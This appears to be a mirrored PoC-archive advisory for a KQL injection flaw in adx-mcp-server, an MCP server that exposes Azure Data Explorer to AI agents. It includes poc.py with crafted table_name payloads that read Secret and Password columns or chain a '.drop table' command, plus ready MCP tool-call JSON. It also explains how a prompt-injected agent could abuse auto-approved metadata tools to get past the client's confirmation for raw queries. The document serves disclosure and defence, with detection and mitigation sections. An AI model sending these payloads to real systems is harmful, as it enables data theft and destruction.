PoC Archive PoC Archive
High CVE-2026-33980 unpatched

adx-mcp-server KQL Injection via table_name Parameter (CVE-2026-33980)

by romain-deperne · 2026-07-05

CVSS 8.8/10
Severity
High
CVE
CVE-2026-33980
Category
web
Affected product
adx-mcp-server (pab1it0/adx-mcp-server)
Affected versions
<= 0.1.0 (commit 48b2933)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / Researcherromain-deperne
CVE / AdvisoryCVE-2026-33980
Categoryweb
SeverityHigh
CVSS Score8.8
StatusPoC
Tagsmcp, kql-injection, azure-data-explorer, ai-agent, prompt-injection, cwe-943, data-exfiltration
RelatedN/A

Affected Target

FieldValue
Software / Systemadx-mcp-server (pab1it0/adx-mcp-server)
Versions Affected<= 0.1.0 (commit 48b2933)
Language / PlatformPython MCP server wrapping Azure Data Explorer (Kusto)
Authentication RequiredNo (any MCP client/tool caller)
Network Access RequiredYes (MCP tool invocation, typically local or agent-mediated)

Summary

adx-mcp-server is a Model Context Protocol server that exposes tools letting an AI agent query an Azure Data Explorer (Kusto/KQL) cluster. Three “safe” metadata tools — get_table_schema, sample_table_data, and get_table_details — build their KQL queries by directly interpolating the attacker- or agent-controlled table_name argument into an f-string, with no validation or escaping. Because KQL supports the | pipe operator and // line comments, an attacker can inject arbitrary query operators or comment out the rest of the intended query. This is especially dangerous because MCP clients often auto-approve these “read-only” metadata tools while requiring explicit confirmation for the raw execute_query tool, so the injection silently bypasses that trust boundary. The PoC script demonstrates crafting table_name values that read arbitrary tables/columns and that chain a destructive .drop table management command.


Vulnerability Details

Root Cause

table_name is interpolated unsanitized into KQL query strings (e.g. f"{table_name} | getschema", f".show table {table_name} details") before being passed to client.execute(), allowing injection of pipe operators, comments, and management commands.

Attack Vector

  1. Attacker (or a prompt-injected AI agent processing untrusted data) calls the get_table_schema, sample_table_data, or get_table_details MCP tool.
  2. The table_name argument is set to a value such as "sensitive_data | project Secret, Password | take 100 //", using // to comment out the rest of the original query.
  3. The server executes the resulting KQL query as-is against the Azure Data Explorer cluster.
  4. For get_table_details, a newline-injected value can additionally chain a .drop table management command.

Impact

Unauthorized read access to any table/column in the ADX database, plus the ability to run destructive management commands (.drop table, .drop extents), all through tools an MCP client would normally treat as low-risk and auto-approve.


Environment / Lab Setup

Target:   adx-mcp-server <= 0.1.0 connected to an Azure Data Explorer cluster
Attacker: Python 3 (to inspect/run poc.py demonstration payloads); an MCP client capable of issuing tool calls

Proof of Concept

PoC Script

See poc.py in this folder.

1
python3 poc.py

The script prints the malicious table_name values for each of the three vulnerable tools, shows the resulting injected KQL query string, and prints the corresponding MCP tools/call JSON payloads that would trigger data exfiltration or a destructive .drop table command when sent to a live adx-mcp-server instance.


Detection & Indicators of Compromise

Signs of compromise:

  • KQL audit logs showing queries with pipe/comment sequences not matching the intended metadata operation
  • Unexpected .drop table / .drop extents management commands originating from MCP tool traffic
  • MCP tool-call logs where table_name arguments contain query operators instead of a plain table identifier

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory
Interim mitigationValidate table_name against a strict allowlist (alphanumeric/underscore table identifiers only) before interpolation; reject values containing `

References


Notes

Mirrored from https://github.com/romain-deperne/CVE-2026-33980 on 2026-07-05.

poc.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
"""
PoC: KQL Injection via table_name in adx-mcp-server (pab1it0/adx-mcp-server)

Vulnerability: Multiple MCP tools in adx-mcp-server inject the `table_name`
parameter directly into KQL (Kusto Query Language) queries without sanitization.

Affected tools:
  - get_table_schema:   f"{table_name} | getschema"
  - sample_table_data:  f"{table_name} | sample {sample_size}"
  - get_table_details:  f".show table {table_name} details"

KQL allows chaining operators with '|' and executing management commands with '.'.
An attacker (or a prompt-injected AI agent) can inject arbitrary KQL.

File: src/adx_mcp_server/server.py (lines 228, 248, 268)
"""

import json

# --- PoC 1: Data Exfiltration via get_table_schema ---
# Instead of just getting the schema of a table, the attacker reads from another table
malicious_table_name_exfil = "sensitive_data | project Secret, Password | take 100 //getschema"
# Resulting KQL: "sensitive_data | project Secret, Password | take 100 //getschema | getschema"
# The // comments out "| getschema", so the actual query reads sensitive_data columns

print("=== PoC 1: Data Exfiltration via get_table_schema ===")
print(f"Malicious table_name: {malicious_table_name_exfil!r}")
query = f"{malicious_table_name_exfil} | getschema"
print(f"Resulting KQL: {query}")
print()

# --- PoC 2: Destructive command via get_table_details ---
# .show table ... details becomes a management command to drop data
malicious_table_name_drop = "users details\n.drop table users"
# Resulting KQL: ".show table users details\n.drop table users details"

print("=== PoC 2: Destructive Command via get_table_details ===")
print(f"Malicious table_name: {malicious_table_name_drop!r}")
query2 = f".show table {malicious_table_name_drop} details"
print(f"Resulting KQL:\n{query2}")
print()

# --- PoC 3: Arbitrary query execution via sample_table_data ---
malicious_table_name_arb = "StormEvents | where EventType == 'Tornado' | summarize count() by State | order by count_ desc //sample"
# The // comments out the rest

print("=== PoC 3: Arbitrary Query via sample_table_data ===")
print(f"Malicious table_name: {malicious_table_name_arb!r}")
query3 = f"{malicious_table_name_arb} | sample 10"
print(f"Resulting KQL: {query3}")
print()

# --- MCP Tool Call Examples ---
print("=== MCP Tool Call to Trigger (get_table_schema) ===")
tool_call = {
    "name": "get_table_schema",
    "arguments": {
        "table_name": "sensitive_data | project Secret, Password | take 100 //"
    }
}
print(json.dumps(tool_call, indent=2))
print()

print("=== MCP Tool Call to Trigger (get_table_details) ===")
tool_call2 = {
    "name": "get_table_details",
    "arguments": {
        "table_name": "users details\n.drop table important_data"
    }
}
print(json.dumps(tool_call2, indent=2))